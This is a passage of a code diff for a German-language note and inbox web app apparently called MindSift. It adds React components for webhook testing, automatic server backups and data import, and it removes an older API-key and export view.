|
].map((preset) => (
|
||||||
|
<button
|
||||||
|
key={preset.label}
|
||||||
|
type="button"
|
||||||
|
onClick={() => {
|
||||||
|
setSimTitle(preset.text);
|
||||||
|
setSimPriority(preset.prio);
|
||||||
|
}}
|
||||||
|
className="btn-action text-xs"
|
||||||
|
>
|
||||||
|
{preset.label}
|
||||||
|
</button>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
<div className="flex flex-col sm:flex-row gap-2">
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
value={simTitle}
|
||||||
|
onChange={(e) => setSimTitle(e.target.value)}
|
||||||
|
className="flex-1 h-11 sm:h-9 px-3 input-field text-base sm:text-sm"
|
||||||
|
/>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={handleSimulateWebhook}
|
||||||
|
className="btn-primary h-11 sm:h-9 px-4 text-xs sm:text-sm flex items-center justify-center gap-1.5"
|
||||||
|
>
|
||||||
|
<Zap className="w-4 h-4" />
|
||||||
|
<span>Webhook jetzt abfeuern</span>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{simStatus && (
|
||||||
|
<p className={`mt-3 text-xs font-medium ${simStatus.startsWith('❌') ? 'text-status-err' : 'text-status-ok'}`}>{simStatus}</p>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{/* Code Example Snippets */}
|
||||||
|
<div className="mt-4 space-y-2">
|
||||||
|
<div className="flex items-center gap-2 text-xs font-medium text-muted">
|
||||||
|
<Terminal className="w-3.5 h-3.5 text-accent" />
|
||||||
|
<span>cURL / Home Assistant REST Command:</span>
|
||||||
|
</div>
|
||||||
|
<pre className="p-3 bg-canvas border border-border font-mono text-xs text-main overflow-x-auto">
|
||||||
|
{`curl -X POST "${baseUrl}/api/v1/webhooks/ingest" \\
|
||||||
|
-H "X-API-Key: ${exampleToken}" \\
|
||||||
|
-H "Content-Type: application/json" \\
|
||||||
|
-d '${examplePayload}'`}
|
||||||
|
</pre>
|
||||||
|
<p className="text-[11px] text-faint">
|
||||||
|
Der Key gehört in den Header <code className="font-mono">X-API-Key</code>, nicht in die URL, damit er nicht in
|
||||||
|
Proxy-Logs landet. Fehlt dem Key die Berechtigung für das Ziel, antwortet der Server mit 403.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -0,0 +1,152 @@
|
|||||||
|
import React, { useEffect, useState } from 'react';
|
||||||
|
import { Archive, Download, Loader2, Trash2 } from 'lucide-react';
|
||||||
|
import { BackupFile, SystemSettings } from '../../lib/types';
|
||||||
|
import { api } from '../../lib/api';
|
||||||
|
import { ToggleSwitch } from '../../components/ToggleSwitch';
|
||||||
|
import { formatBytes, saveBlob } from '../../lib/download';
|
||||||
|
|
||||||
|
interface BackupAdminCardProps {
|
||||||
|
settings: SystemSettings;
|
||||||
|
onSave: (patch: Partial<SystemSettings>) => void;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Admin: automatic daily backups (whole database + one backup per user), list and manual run
|
||||||
|
export const BackupAdminCard: React.FC<BackupAdminCardProps> = ({ settings, onSave }) => {
|
||||||
|
const [files, setFiles] = useState<BackupFile[]>([]);
|
||||||
|
const [running, setRunning] = useState(false);
|
||||||
|
const [error, setError] = useState<string | null>(null);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
api.adminListBackups().then(setFiles).catch(() => {});
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
const runNow = async () => {
|
||||||
|
setRunning(true);
|
||||||
|
setError(null);
|
||||||
|
try {
|
||||||
|
setFiles(await api.adminRunBackup());
|
||||||
|
} catch (err: any) {
|
||||||
|
setError(err.message || 'Backup fehlgeschlagen');
|
||||||
|
api.adminListBackups().then(setFiles).catch(() => {});
|
||||||
|
} finally {
|
||||||
|
setRunning(false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const download = async (name: string) => {
|
||||||
|
try {
|
||||||
|
saveBlob(await api.adminDownloadBackup(name), name);
|
||||||
|
} catch (err: any) {
|
||||||
|
setError(err.message || 'Download fehlgeschlagen');
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const remove = async (name: string) => {
|
||||||
|
if (!window.confirm(`Backup ${name} endgültig löschen?`)) return;
|
||||||
|
setError(null);
|
||||||
|
try {
|
||||||
|
setFiles(await api.adminDeleteBackup(name));
|
||||||
|
} catch (err: any) {
|
||||||
|
setError(err.message || 'Löschen fehlgeschlagen');
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="p-4 bg-canvas border border-border rounded-card space-y-3">
|
||||||
|
<div className="flex items-center justify-between gap-4">
|
||||||
|
<div className="pr-4">
|
||||||
|
<p className="font-bold text-main flex items-center gap-1.5">
|
||||||
|
<Archive className="w-3.5 h-3.5 text-accent" />
|
||||||
|
Automatische Backups
|
||||||
|
</p>
|
||||||
|
<p className="text-[11px] text-muted mt-0.5">
|
||||||
|
Täglich ein Abzug der ganzen Datenbank und ein Backup je Benutzer unter <code className="font-mono">backups/</code> im
|
||||||
|
Datenverzeichnis. Das schützt vor Fehlbedienung, nicht vor einer kaputten Platte: den Ordner zusätzlich woanders sichern.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<ToggleSwitch
|
||||||
|
checked={Boolean(settings.backupEnabled)}
|
||||||
|
onChange={(backupEnabled) => onSave({ backupEnabled })}
|
||||||
|
title={settings.backupEnabled ? 'Automatische Backups ausschalten' : 'Automatische Backups einschalten'}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="flex flex-wrap items-end gap-3">
|
||||||
|
<label className="text-[11px] text-muted">
|
||||||
|
Uhrzeit
|
||||||
|
<input
|
||||||
|
type="time"
|
||||||
|
value={settings.backupTime || '03:00'}
|
||||||
|
onChange={(e) => e.target.value && onSave({ backupTime: e.target.value })}
|
||||||
|
className="block mt-1 h-11 sm:h-8 px-2 input-field text-base sm:text-xs w-28"
|
||||||
|
/>
|
||||||
|
</label>
|
||||||
|
<label className="text-[11px] text-muted">
|
||||||
|
Aufbewahren (Tage)
|
||||||
|
<input
|
||||||
|
type="number"
|
||||||
|
min={1}
|
||||||
|
max={365}
|
||||||
|
value={settings.backupRetentionDays || 3}
|
||||||
|
onChange={(e) => {
|
||||||
|
const n = parseInt(e.target.value, 10);
|
||||||
|
if (n >= 1 && n <= 365) onSave({ backupRetentionDays: n });
|
||||||
|
}}
|
||||||
|
className="block mt-1 h-11 sm:h-8 px-2 input-field text-base sm:text-xs w-24"
|
||||||
|
/>
|
||||||
|
</label>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={runNow}
|
||||||
|
disabled={running}
|
||||||
|
className="btn-action h-11 sm:h-8 px-3 text-xs inline-flex items-center gap-1.5 disabled:opacity-50"
|
||||||
|
>
|
||||||
|
{running ? <Loader2 className="w-3.5 h-3.5 animate-spin" /> : <Archive className="w-3.5 h-3.5 text-accent" />}
|
||||||
|
{running ? 'Sichere…' : 'Jetzt sichern'}
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
{error && <p className="text-[11px] text-status-err">{error}</p>}
|
||||||
|
|
||||||
|
<div className="border border-border divide-y divide-border bg-panel">
|
||||||
|
{files.length === 0 ? (
|
||||||
|
<p className="p-3 text-[11px] text-faint">Noch keine Server-Backups vorhanden.</p>
|
||||||
|
) : (
|
||||||
|
files.map((f) => (
|
||||||
|
<div key={f.name} className="px-3 py-2 flex items-center justify-between gap-3">
|
||||||
|
<div className="min-w-0">
|
||||||
|
<p className="text-xs font-mono text-main truncate">{f.name}</p>
|
||||||
|
<p className="text-[11px] text-faint">
|
||||||
|
{new Date(f.createdAt).toLocaleString('de-DE')} · {formatBytes(f.size)}
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<div className="flex items-center gap-1.5 shrink-0">
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={() => download(f.name)}
|
||||||
|
className="btn-action h-11 sm:h-7 px-2.5 text-[11px] inline-flex items-center gap-1"
|
||||||
|
>
|
||||||
|
<Download className="w-3.5 h-3.5" />
|
||||||
|
Download
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={() => remove(f.name)}
|
||||||
|
title="Backup löschen"
|
||||||
|
aria-label={`Backup ${f.name} löschen`}
|
||||||
|
className="btn-action h-11 w-11 sm:h-7 sm:w-7 inline-flex items-center justify-center text-faint hover:text-status-err"
|
||||||
|
>
|
||||||
|
<Trash2 className="w-3.5 h-3.5" />
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
))
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
<p className="text-[11px] text-faint">
|
||||||
|
Zurückspielen eines Datenbank-Abzugs: Container stoppen, <code className="font-mono">mindsift.db</code> durch die entpackte Datei
|
||||||
|
ersetzen (<code className="font-mono">gunzip</code>), Container starten. Einzelne Benutzer stellen ihre Daten selbst in den
|
||||||
|
Kontoeinstellungen wieder her.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -1,283 +0,0 @@
|
|||||||
import React, { useEffect, useState } from 'react';
|
|
||||||
import {
|
|
||||||
Key,
|
|
||||||
Plus,
|
|
||||||
Trash2,
|
|
||||||
Copy,
|
|
||||||
Check,
|
|
||||||
Webhook,
|
|
||||||
Download,
|
|
||||||
ShieldCheck,
|
|
||||||
Zap,
|
|
||||||
Terminal,
|
|
||||||
} from 'lucide-react';
|
|
||||||
import { APIKey, PriorityLevel } from '../../lib/types';
|
|
||||||
import { api, getToken, triggerHaptic } from '../../lib/api';
|
|
||||||
|
|
||||||
interface EcosystemViewProps {
|
|
||||||
onIngested: () => void;
|
|
||||||
}
|
|
||||||
|
|
||||||
export const EcosystemView: React.FC<EcosystemViewProps> = ({ onIngested }) => {
|
|
||||||
const [keys, setKeys] = useState<APIKey[]>([]);
|
|
||||||
const [newKeyName, setNewKeyName] = useState('');
|
|
||||||
const [newlyCreatedKey, setNewlyCreatedKey] = useState<string | null>(null);
|
|
||||||
const [copiedKey, setCopiedKey] = useState(false);
|
|
||||||
|
|
||||||
// Live Webhook Simulator State
|
|
||||||
const [simTitle, setSimTitle] = useState('Waschmaschine im Keller ist fertig!');
|
|
||||||
const [simPriority, setSimPriority] = useState<PriorityLevel>('high');
|
|
||||||
const [simStatus, setSimStatus] = useState<string | null>(null);
|
|
||||||
|
|
||||||
const loadKeys = async () => {
|
|
||||||
const k = await api.getAPIKeys();
|
|
||||||
setKeys(k);
|
|
||||||
};
|
|
||||||
|
|
||||||
useEffect(() => {
|
|
||||||
loadKeys();
|
|
||||||
}, []);
|
|
||||||
|
|
||||||
const handleCreateKey = async (e: React.FormEvent) => {
|
|
||||||
e.preventDefault();
|
|
||||||
triggerHaptic(15);
|
|
||||||
const created = await api.createAPIKey(newKeyName.trim() || 'Home Assistant');
|
|
||||||
if (created.rawKey) {
|
|
||||||
setNewlyCreatedKey(created.rawKey);
|
|
||||||
}
|
|
||||||
setNewKeyName('');
|
|
||||||
await loadKeys();
|
|
||||||
};
|
|
||||||
|
|
||||||
const handleDeleteKey = async (id: string) => {
|
|
||||||
triggerHaptic(20);
|
|
||||||
await api.deleteAPIKey(id);
|
|
||||||
await loadKeys();
|
|
||||||
};
|
|
||||||
|
|
||||||
const handleCopy = (text: string) => {
|
|
||||||
navigator.clipboard.writeText(text);
|
|
||||||
setCopiedKey(true);
|
|
||||||
setTimeout(() => setCopiedKey(false), 2000);
|
|
||||||
};
|
|
||||||
|
|
||||||
const handleSimulateWebhook = async () => {
|
|
||||||
triggerHaptic(20);
|
|
||||||
const tokenToUse = newlyCreatedKey || getToken() || '';
|
|
||||||
try {
|
|
||||||
await api.testWebhookIngest(tokenToUse, simTitle, simPriority, ['smarthome', 'automation']);
|
|
||||||
setSimStatus('✅ Webhook erfolgreich ausgelöst! Neue Karte liegt in deiner Inbox.');
|
|
||||||
onIngested();
|
|
||||||
setTimeout(() => setSimStatus(null), 4000);
|
|
||||||
} catch (err: any) {
|
|
||||||
setSimStatus(`❌ Fehler: ${err.message}`);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
const handleFullExport = async () => {
|
|
||||||
triggerHaptic(15);
|
|
||||||
const data = await api.exportAll();
|
|
||||||
const blob = new Blob([JSON.stringify(data, null, 2)], {
|
|
||||||
type: 'application/json;charset=utf-8',
|
|
||||||
});
|
|
||||||
const url = URL.createObjectURL(blob);
|
|
||||||
const a = document.createElement('a');
|
|
||||||
a.href = url;
|
|
||||||
a.download = `mindsift-backup-${new Date().toISOString().slice(0, 10)}.json`;
|
|
||||||
a.click();
|
|
||||||
URL.revokeObjectURL(url);
|
|
||||||
};
|
|
||||||
|
|
||||||
const exampleToken = newlyCreatedKey || 'mindsift_sec_dein_api_key';
|
|
||||||
const baseUrl = window.location.origin;
|
|
||||||
|
|
||||||
return (
|
|
||||||
<div className="w-full panel-surface divide-y divide-border">
|
|
||||||
{/* Section 1: API Keys for Smarthome & Automation */}
|
|
||||||
<div className="p-4">
|
|
||||||
<div className="flex items-center gap-3 mb-2">
|
|
||||||
<div className="w-8 h-8 bg-accent text-white flex items-center justify-center flex-shrink-0">
|
|
||||||
<Key className="w-4 h-4" />
|
|
||||||
</div>
|
|
||||||
<div>
|
|
||||||
<h3 className="text-base font-bold text-white">
|
|
||||||
Webhooks & Ingestion API-Schlüssel
|
|
||||||
</h3>
|
|
||||||
<p className="text-xs sm:text-sm text-zinc-400">
|
|
||||||
Verbinde Home Assistant, Zigbee2MQTT, n8n oder eigene Cronjobs direkt mit deiner MindSift Inbox.
|
|
||||||
</p>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<form onSubmit={handleCreateKey} className="mt-3 flex flex-col sm:flex-row gap-2">
|
|
||||||
<input
|
|
||||||
type="text"
|
|
||||||
value={newKeyName}
|
|
||||||
onChange={(e) => setNewKeyName(e.target.value)}
|
|
||||||
placeholder="Bezeichnung (z. B. Home Assistant, Proxmox Backup, Rauchmelder)…"
|
|
||||||
className="flex-1 h-9 px-3 input-field text-sm"
|
|
||||||
/>
|
|
||||||
<button
|
|
||||||
type="submit"
|
|
||||||
className="btn-primary h-9 px-4 text-xs sm:text-sm"
|
|
||||||
>
|
|
||||||
<Plus className="w-4 h-4" />
|
|
||||||
<span>API-Key erzeugen</span>
|
|
||||||
</button>
|
|
||||||
</form>
|
|
||||||
|
|
||||||
{newlyCreatedKey && (
|
|
||||||
<div className="mt-3 p-3 bg-accent/15 border border-accent/30 flex flex-wrap items-center justify-between gap-3">
|
|
||||||
<div className="min-w-0">
|
|
||||||
<p className="text-xs font-semibold text-accent mb-1">
|
|
||||||
Neuer API-Schlüssel erstellt (bitte jetzt kopieren):
|
|
||||||
</p>
|
|
||||||
<code className="text-xs sm:text-sm font-mono text-white break-all">
|
|
||||||
{newlyCreatedKey}
|
|
||||||
</code>
|
|
||||||
</div>
|
|
||||||
<button
|
|
||||||
onClick={() => handleCopy(newlyCreatedKey)}
|
|
||||||
className="btn-primary h-8 px-3 text-xs"
|
|
||||||
>
|
|
||||||
{copiedKey ? <Check className="w-3.5 h-3.5" /> : <Copy className="w-3.5 h-3.5" />}
|
|
||||||
<span>{copiedKey ? 'Kopiert!' : 'Key kopieren'}</span>
|
|
||||||
</button>
|
|
||||||
</div>
|
|
||||||
)}
|
|
||||||
|
|
||||||
{/* Active Keys List */}
|
|
||||||
<div className="mt-3 border border-border divide-y divide-border">
|
|
||||||
{keys.length === 0 ? (
|
|
||||||
<p className="text-xs text-zinc-500 px-3 py-2">
|
|
||||||
Noch keine dedizierten API-Schlüssel hinterlegt.
|
|
||||||
</p>
|
|
||||||
) : (
|
|
||||||
keys.map((k) => (
|
|
||||||
<div
|
|
||||||
key={k.id}
|
|
||||||
className="px-3 py-1.5 bg-canvas flex items-center justify-between gap-3"
|
|
||||||
>
|
|
||||||
<div>
|
|
||||||
<span className="text-sm font-medium text-white">{k.name}</span>
|
|
||||||
<span className="ml-3 text-xs font-mono text-accent">{k.keyPrefix}</span>
|
|
||||||
{k.lastUsedAt && (
|
|
||||||
<span className="ml-3 text-xs text-zinc-500">
|
|
||||||
Zuletzt genutzt: {new Date(k.lastUsedAt).toLocaleDateString('de-DE')}
|
|
||||||
</span>
|
|
||||||
)}
|
|
||||||
</div>
|
|
||||||
<button
|
|
||||||
onClick={() => handleDeleteKey(k.id)}
|
|
||||||
className="btn-icon btn-icon-danger w-7 h-7"
|
|
||||||
>
|
|
||||||
<Trash2 className="w-3.5 h-3.5" />
|
|
||||||
</button>
|
|
||||||
</div>
|
|
||||||
))
|
|
||||||
)}
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
{/* Section 2: Interactive Smarthome Webhook Simulator */}
|
|
||||||
<div className="p-4">
|
|
||||||
<div className="flex items-center gap-3 mb-3">
|
|
||||||
<div className="w-7 h-7 bg-accent text-white flex items-center justify-center flex-shrink-0">
|
|
||||||
<Webhook className="w-4 h-4" />
|
|
||||||
</div>
|
|
||||||
<div>
|
|
||||||
<h3 className="text-base font-bold text-white">
|
|
||||||
Live Smarthome Webhook-Simulator
|
|
||||||
</h3>
|
|
||||||
<p className="text-xs sm:text-sm text-zinc-400">
|
|
||||||
Teste den Webhook-Endpunkt direkt hier – das Event landet sofort als Karte im Triage-Deck.
|
|
||||||
</p>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div className="flex flex-wrap gap-1.5 mb-3">
|
|
||||||
{[
|
|
||||||
{ label: '🧺 Waschmaschine fertig', text: 'Waschmaschine im Keller ist fertig – Wäsche aufhängen!', prio: 'high' as PriorityLevel },
|
|
||||||
{ label: '🚨 Rauchmelder Batterie', text: 'Rauchmelder Dachgeschoss meldet niedrige Batterie (12%)', prio: 'urgent' as PriorityLevel },
|
|
||||||
{ label: '💧 Luftfeuchtigkeit Keller', text: 'Kellerfeuchtigkeit über 70% – Lüften oder Entfeuchter starten', prio: 'urgent' as PriorityLevel },
|
|
||||||
].map((preset) => (
|
|
||||||
<button
|
|
||||||
key={preset.label}
|
|
||||||
type="button"
|
|
||||||
onClick={() => {
|
|
||||||
setSimTitle(preset.text);
|
|
||||||
setSimPriority(preset.prio);
|
|
||||||
}}
|
|
||||||
className="btn-action text-xs"
|
|
||||||
>
|
|
||||||
{preset.label}
|
|
||||||
</button>
|
|
||||||
))}
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div className="flex flex-col sm:flex-row gap-2">
|
|
||||||
<input
|
|
||||||
type="text"
|
|
||||||
value={simTitle}
|
|
||||||
onChange={(e) => setSimTitle(e.target.value)}
|
|
||||||
className="flex-1 h-9 px-3 input-field text-sm"
|
|
||||||
/>
|
|
||||||
<button
|
|
||||||
type="button"
|
|
||||||
onClick={handleSimulateWebhook}
|
|
||||||
className="btn-primary h-9 px-4 text-xs sm:text-sm flex items-center gap-1.5"
|
|
||||||
>
|
|
||||||
<Zap className="w-4 h-4" />
|
|
||||||
<span>Webhook jetzt abfeuern</span>
|
|
||||||
</button>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
{simStatus && (
|
|
||||||
<p className="mt-3 text-xs font-medium text-accent">{simStatus}</p>
|
|
||||||
)}
|
|
||||||
|
|
||||||
{/* Code Example Snippets */}
|
|
||||||
<div className="mt-4 space-y-2">
|
|
||||||
<div className="flex items-center gap-2 text-xs font-medium text-zinc-400">
|
|
||||||
<Terminal className="w-3.5 h-3.5 text-accent" />
|
|
||||||
<span>cURL / Home Assistant REST Command:</span>
|
|
||||||
</div>
|
|
||||||
<pre className="p-3 bg-canvas border border-border font-mono text-xs text-zinc-300 overflow-x-auto">
|
|
||||||
{`curl -X POST "${baseUrl}/api/v1/webhooks/ingest?token=${exampleToken}" \\
|
|
||||||
-H "Content-Type: application/json" \\
|
|
||||||
-d '{
|
|
||||||
"title": "Kellerfeuchtigkeit über 70%",
|
|
||||||
"priority": "urgent",
|
|
||||||
"tags": ["smarthome", "keller"]
|
|
||||||
}'`}
|
|
||||||
</pre>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
{/* Section 3: Data Sovereignty & Export */}
|
|
||||||
<div className="p-4 flex flex-col sm:flex-row items-start sm:items-center justify-between gap-4">
|
|
||||||
<div className="flex items-center gap-3">
|
|
||||||
<div className="w-7 h-7 bg-accent text-white flex items-center justify-center flex-shrink-0">
|
|
||||||
<ShieldCheck className="w-4 h-4" />
|
|
||||||
</div>
|
|
||||||
<div>
|
|
||||||
<h3 className="text-base font-bold text-white">
|
|
||||||
100 % Datensouveränität & Komplett-Export
|
|
||||||
</h3>
|
|
||||||
<p className="text-xs sm:text-sm text-zinc-400">
|
|
||||||
Exportiere jederzeit alle Gedanken, Aufgaben, Dokumente und geteilten Listen als portables JSON-Archiv.
|
|
||||||
</p>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<button
|
|
||||||
onClick={handleFullExport}
|
|
||||||
className="btn-primary h-9 px-4 text-xs sm:text-sm flex items-center gap-2"
|
|
||||||
>
|
|
||||||
<Download className="w-4 h-4" />
|
|
||||||
<span>Komplett-Backup (.json)</span>
|
|
||||||
</button>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
);
|
|
||||||
};
|
|
||||||
@@ -0,0 +1,246 @@
|
|||||||
|
import React, { useRef, useState } from 'react';
|
||||||
|
import { Upload, Check, AlertCircle, FileArchive } from 'lucide-react';
|
||||||
|
import { DATA_SECTIONS, DataSection, ImportSummary } from '../../lib/types';
|
||||||
|
import { SectionPicker } from './SectionPicker';
|
||||||
|
import { api } from '../../lib/api';
|
||||||
|
|
||||||
|
interface ImportCardProps {
|
||||||
|
source: 'mindsift' | 'obsidian';
|
||||||
|
title: string;
|
||||||
|
description: React.ReactNode;
|
||||||
|
accept: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
const summaryParts = (s: ImportSummary) =>
|
||||||
|
[
|
||||||
|
s.folders && `${s.folders} Ordner`,
|
||||||
|
s.notes && `${s.notes} ${s.notes === 1 ? 'Notiz' : 'Notizen'}`,
|
||||||
|
s.taskLists && `${s.taskLists} Aufgabenliste${s.taskLists === 1 ? '' : 'n'}`,
|
||||||
|
s.tasks && `${s.tasks} Aufgabe${s.tasks === 1 ? '' : 'n'}`,
|
||||||
|
s.lists && `${s.lists} Liste${s.lists === 1 ? '' : 'n'} mit ${s.listItems} Einträgen`,
|
||||||
|
s.inbox && `${s.inbox} Gedanke${s.inbox === 1 ? '' : 'n'} für die Triage`,
|
||||||
|
s.themes && `${s.themes} Theme${s.themes === 1 ? '' : 's'}`,
|
||||||
|
].filter(Boolean) as string[];
|
||||||
|
|
||||||
|
// One import path: drop or pick a file, see a preview of what would be created, then import.
|
||||||
|
// Touch targets are large enough for phones; the file picker works on mobile browsers.
|
||||||
|
export const ImportCard: React.FC<ImportCardProps> = ({ source, title, description, accept }) => {
|
||||||
|
const inputRef = useRef<HTMLInputElement>(null);
|
||||||
|
const [file, setFile] = useState<File | null>(null);
|
||||||
|
const [preview, setPreview] = useState<ImportSummary | null>(null);
|
||||||
|
const [result, setResult] = useState<ImportSummary | null>(null);
|
||||||
|
const [busy, setBusy] = useState(false);
|
||||||
|
const [error, setError] = useState<string | null>(null);
|
||||||
|
const [dragOver, setDragOver] = useState(false);
|
||||||
|
// MindSift data can replace the current state instead of being added next to it
|
||||||
|
const [mode, setMode] = useState<'merge' | 'restore'>('merge');
|
||||||
|
const [confirmRestore, setConfirmRestore] = useState(false);
|
||||||
|
// MindSift data: which parts to take from the file
|
||||||
|
const [sections, setSections] = useState<DataSection[]>(DATA_SECTIONS.map((s) => s.id));
|
||||||
|
const sectionParam = source === 'mindsift' ? sections : undefined;
|
||||||
|
const restoring = source === 'mindsift' && mode === 'restore';
|
||||||
|
|
||||||
|
const reset = () => {
|
||||||
|
setFile(null);
|
||||||
|
setPreview(null);
|
||||||
|
setError(null);
|
||||||
|
setConfirmRestore(false);
|
||||||
|
};
|
||||||
|
|
||||||
|
const pick = async (f?: File) => {
|
||||||
|
if (!f) return;
|
||||||
|
reset();
|
||||||
|
setResult(null);
|
||||||
|
setFile(f);
|
||||||
|
setBusy(true);
|
||||||
|
try {
|
||||||
|
setPreview(await api.importData(source, f, true, 'merge', sectionParam));
|
||||||
|
} catch (err: any) {
|
||||||
|
setError(err.message || 'Datei konnte nicht gelesen werden');
|
||||||
|
} finally {
|
||||||
|
setBusy(false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const runImport = async () => {
|
||||||
|
if (!file) return;
|
||||||
|
setBusy(true);
|
||||||
|
setError(null);
|
||||||
|
try {
|
||||||
|
setResult(await api.importData(source, file, false, restoring ? 'restore' : 'merge', sectionParam));
|
||||||
|
setFile(null);
|
||||||
|
setPreview(null);
|
||||||
|
setConfirmRestore(false);
|
||||||
|
} catch (err: any) {
|
||||||
|
setError(err.message || 'Import fehlgeschlagen');
|
||||||
|
} finally {
|
||||||
|
setBusy(false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const shown = result || preview;
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="p-4 bg-canvas border border-border rounded-card space-y-3">
|
||||||
|
<div>
|
||||||
|
<h4 className="font-bold text-main">{title}</h4>
|
||||||
|
<p className="text-muted text-[11px] mt-0.5">{description}</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{source === 'mindsift' && (
|
||||||
|
<div className="grid grid-cols-1 sm:grid-cols-2 gap-2" role="radiogroup" aria-label="Import-Modus">
|
||||||
|
{(
|
||||||
|
[
|
||||||
|
['merge', 'Hinzufügen', 'Bestehende Daten behalten, Backup daneben anlegen.'],
|
||||||
|
['restore', 'Wiederherstellen', 'Gewählte Bereiche vorher leeren.'],
|
||||||
|
] as const
|
||||||
|
).map(([value, label, text]) => (
|
||||||
|
<button
|
||||||
|
key={value}
|
||||||
|
type="button"
|
||||||
|
role="radio"
|
||||||
|
aria-checked={mode === value}
|
||||||
|
onClick={() => {
|
||||||
|
setMode(value);
|
||||||
|
setConfirmRestore(false);
|
||||||
|
}}
|
||||||
|
className={`p-2.5 min-h-[44px] text-left border rounded-card transition-colors ${
|
||||||
|
mode === value
|
||||||
|
? value === 'restore'
|
||||||
|
? 'border-status-err bg-status-err/10'
|
||||||
|
: 'border-accent bg-accent/10'
|
||||||
|
: 'border-border hover:border-strong'
|
||||||
|
}`}
|
||||||
|
>
|
||||||
|
<span className={`block text-xs font-semibold ${value === 'restore' && mode === value ? 'text-status-err' : 'text-main'}`}>{label}</span>
|
||||||
|
<span className="block text-[11px] text-muted">{text}</span>
|
||||||
|
</button>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{source === 'mindsift' && (
|
||||||
|
<SectionPicker
|
||||||
|
value={sections}
|
||||||
|
onChange={(next) => {
|
||||||
|
setSections(next);
|
||||||
|
// The preview depends on the sections, so a picked file is read again
|
||||||
|
if (file) {
|
||||||
|
setBusy(true);
|
||||||
|
api
|
||||||
|
.importData(source, file, true, 'merge', next)
|
||||||
|
.then(setPreview)
|
||||||
|
.catch((err) => setError(err.message))
|
||||||
|
.finally(() => setBusy(false));
|
||||||
|
}
|
||||||
|
}}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
|
|
||||||
|
<div
|
||||||
|
onDragOver={(e) => {
|
||||||
|
e.preventDefault();
|
||||||
|
setDragOver(true);
|
||||||
|
}}
|
||||||
|
onDragLeave={() => setDragOver(false)}
|
||||||
|
onDrop={(e) => {
|
||||||
|
e.preventDefault();
|
||||||
|
setDragOver(false);
|
||||||
|
pick(e.dataTransfer.files?.[0]);
|
||||||
|
}}
|
||||||
|
className={`p-4 border border-dashed rounded-card flex flex-col sm:flex-row items-center justify-center gap-3 text-center transition-colors ${
|
||||||
|
dragOver ? 'border-accent bg-accent/10' : 'border-border'
|
||||||
|
}`}
|
||||||
|
>
|
||||||
|
<span className="text-[11px] text-muted hidden sm:inline">Datei hierher ziehen oder</span>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
disabled={busy}
|
||||||
|
onClick={() => inputRef.current?.click()}
|
||||||
|
className="btn-action h-11 sm:h-9 px-4 text-xs flex items-center justify-center gap-2 disabled:opacity-50 w-full sm:w-auto"
|
||||||
|
>
|
||||||
|
<Upload className="w-3.5 h-3.5 text-accent" />
|
||||||
|
<span>Datei auswählen</span>
|
||||||
|
</button>
|
||||||
|
<input
|
||||||
|
ref={inputRef}
|
||||||
|
type="file"
|
||||||
|
accept={accept}
|
||||||
|
className="hidden"
|
||||||
|
onChange={(e) => {
|
||||||
|
pick(e.target.files?.[0]);
|
||||||
|
e.target.value = '';
|
||||||
|
}}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{busy && <p className="text-[11px] text-muted">{preview ? 'Importiere…' : 'Lese Datei…'}</p>}
|
||||||
|
{error && (
|
||||||
|
<p className="text-[11px] text-status-err flex items-start gap-1.5">
|
||||||
|
<AlertCircle className="w-3.5 h-3.5 shrink-0 mt-px" />
|
||||||
|
<span>{error}</span>
|
||||||
|
</p>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{shown && !busy && (
|
||||||
|
<div
|
||||||
|
className={`p-3 rounded-card border text-xs space-y-2 ${
|
||||||
|
result ? 'border-status-ok/40 bg-status-ok/10' : 'border-border bg-panel'
|
||||||
|
}`}
|
||||||
|
>
|
||||||
|
